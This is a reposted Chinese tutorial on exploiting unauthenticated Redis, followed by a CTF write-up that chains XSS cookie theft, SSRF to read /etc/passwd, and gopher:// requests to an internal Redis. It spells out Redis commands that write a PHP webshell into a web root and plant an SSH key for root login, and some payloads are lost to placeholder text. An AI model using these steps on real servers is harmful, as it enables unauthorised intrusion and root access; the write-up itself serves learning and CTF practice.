首页 > 数据库 > Redis > 正文

redis未授权访问介绍

发布: 2020-05-14 09:24:06
转载
3281人浏览过

redis未授权访问介绍

redis是一种以key-value为键值对的非关系型数据库。

redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Map), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

安装服务

win

下载地址:https://github.com/MSOpenTech/redis/releases
测试环境:

操作系统:win7ip:192.168.107.144

1.jpg

命令行输入

redis-server.exe redis.conf
登录后复制

2.jpg

接着查看端口

3.jpg

6379端口(redis默认端口)已经打开

redis成功启动

ubuntu

安装

sudo apt-get update
sudo apt-get install redis-server
登录后复制

启动服务

redis-server
登录后复制

基本命令

连接redis

redis-cli.exe -h 192.168.107.144
登录后复制

查看键为x的值

redis 192.168.107.144:6379> get x
"<?php phpinfo(); ?>"
登录后复制

get所有key

redis 192.168.107.144:6379> keys *
1) "x"
登录后复制

删除所有键

redis 192.168.107.144:6379>flushall
登录后复制

漏洞利用

本机通过telnet命令主动去连接目标机

4.jpg

或者通过redis-cli.exe -h 192.168.107.144连接

5.jpg

连接成功

输入info获取相关信息

可以看到redis版本号等

6.JPG

利用方式

  • 写入一句话webshell

  • 写入ssh公钥

写入shell

7.jpg

//设置x的值
redis 192.168.107.144:6379> set x "<?php phpinfo(); ?>"  

redis 192.168.107.144:6379> config set dbfilename test.php

redis 192.168.107.144:6379> config set dir D:/WWW/PHPTutorial/WWW

redis 192.168.107.144:6379> save
登录后复制

成功写入目标机

8.jpg

写入ssh公钥

在本地生成一对密钥

root@ip-172-31-14-115:~/.ssh# ssh-keygen -t rsa
登录后复制

9.jpg

接着将ssh公钥写入靶机

root@ip-172-31-14-115:/etc/redis# redis-cli -h 192.168.107.144
192.168.107.144:6379> config set dir /root/.ssh                   # 设置本地存储文件目录
192.168.107.144:6379> config set dbfilename pub_keys        # 设置本地存储文件名

192.168.107.144:6379> set x "xxxx"  # 将你的ssh公钥写入x键里。(xxxx即你自己生成的ssh公钥)

192.168.107.144:6379> save     # 保存
登录后复制

再到本地去连接ssh

root@ip-172-31-14-115:~/.ssh# ssh -i id_rsa root@192.168.107.144
登录后复制

即可

CTF中的redis(XSS->SSRF&Gopher->Redis)

题目为

10.jpg

题目地址:https://hackme.inndy.tw/scoreboard/

xeeme

泄露

11.jpg

在robots.txt发现泄露源码

是加密了的config.php

12.jpg

xss打cookie

注册登陆后的界面

13.jpg

发邮件有验证

14.jpg

验证写个脚本即可

<?php
    $captcha=1;
    while(1) {
    if(substr(md5("60df5eaed35edcf0".$captcha),0,5) === "00000")
        {
            echo $captcha;
            break;
        }
        $captcha++;
}
echo "<br>".md5($captcha);
?>
登录后复制

然后过滤了一些东西

15.jpg

用img测试

16.jpg

onload也过滤了

1.jpg

这里注意到一个细节,过滤的是空格加上onerror,猜想是匹配到有空格的onerror才会过滤,于是构造没有空格的onerror,尝试payload

@@##@@
登录后复制
登录后复制

然后打cookie,成功打到cookie

redis未授权访问介绍

将SESSION解码

PHPSESSID=rmibdo13ohquscgsuphitr9cp4; FLAG_XSSME=FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}; FLAG_2=IN_THE_REDIS
登录后复制

xssrf leak

根据上一题的cookie,FLAG_2=IN_THE_REDIS

还是一样的环境

因为拿到了管理员的cookie,于是登陆一下

2.jpg

需要本地登陆,尝试一下伪造xff头

换了几个ip头都没用

于是想到之前做的题,可以直接去打管理员页面的源码

这里 不知道为什么 xss平台接收不到,于是换了一个平台

利用payload

@@##@@
登录后复制
登录后复制

3.jpg

发现innerhtml被过滤

于是html编码

@@##@@
登录后复制
登录后复制
登录后复制

发现收到请求

redis未授权访问介绍

解个码,放在本地

4.jpg

SSRF读取config.php

猜测send request功能存在ssrf

@@##@@
登录后复制

vps收到请求

redis未授权访问介绍

解码:

...


      <form action="/request.php" method="POST">
        <div class="form-group">
          <label for="url">URL</label>
          <textarea name="url" class="form-control" id="url" aria-describedby="url" placeholder="URL" rows="10"></textarea>
        </div>

        <button class="btn btn-primary">Send Request</button>
      </form>
    </div>
  </body>
</html>
登录后复制

post请求的url参数

尝试读文件

@@##@@
登录后复制
登录后复制
登录后复制

成功读到/etc/passwd

5.jpg

于是读之前的config.php

6.JPG

xssrf redis(ssrf+gopher拿下flag)

根据flag的提示,redis的端口是25566
请求redis配合gopher

@@##@@
登录后复制
登录后复制
登录后复制

redis未授权访问介绍

成功获取info

查看一下keys

xmlhttp.send("url=gopher://127.0.0.1:25566/_key%2520*");
登录后复制

8.jpg

去读

既然有flag键,那么直接去读flag的值

xmlhttp.send("url=gopher://127.0.0.1:25566/_get%2520flag");
登录后复制

redis未授权访问介绍

类型不符合

于是查看类型

xmlhttp.send("url=gopher://127.0.0.1:25566/_type%2520flag");
登录后复制

7.jpg

是list,返回列表长度

xmlhttp.send("url=gopher://127.0.0.1:25566/_LLEN%2520flag");
登录后复制

9.jpg

那么获取所有元素

xmlhttp.send("url=gopher://127.0.0.1:25566/_LRANGE%2520flag%25200%252053");
登录后复制

redis未授权访问介绍

于是写个脚本

flag="""
}
t
i
o
l
p
x
e

o
t

y
s
a
e

s
i

n
o
i
t
a
c
i
t
n
e
h
t
u
a

t
u
o
h
t
i
w

s
i
d
e
R
{
G
A
L
F
"""
result = flag[::-1]
print(result)
登录后复制

最后flag FLAG{Redis without authentication is easy to exploit}

原文地址:https://xz.aliyun.com/t/4051

更多redis知识请关注redis入门教程栏目。

10.jpg11.jpg12.jpg13.jpg14.jpg15.jpg

以上就是redis未授权访问介绍的详细内容,更多请关注php中文网其它相关文章!

最佳 Windows 性能的顶级免费优化软件
最佳 Windows 性能的顶级免费优化软件

每个人都需要一台速度更快、更稳定的 PC。随着时间的推移,垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是,许多工具可以让 Windows 保持平稳运行。

下载
相关标签:
来源:先知社区网
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn
最新问题
开源免费商场系统广告
热门教程
更多>
最新下载
更多>
网站特效
网站源码
网站素材
前端模板
关于我们 免责申明 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送
PHP中文网APP
随时随地碎片化学习
PHP中文网抖音号
发现有趣的

Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号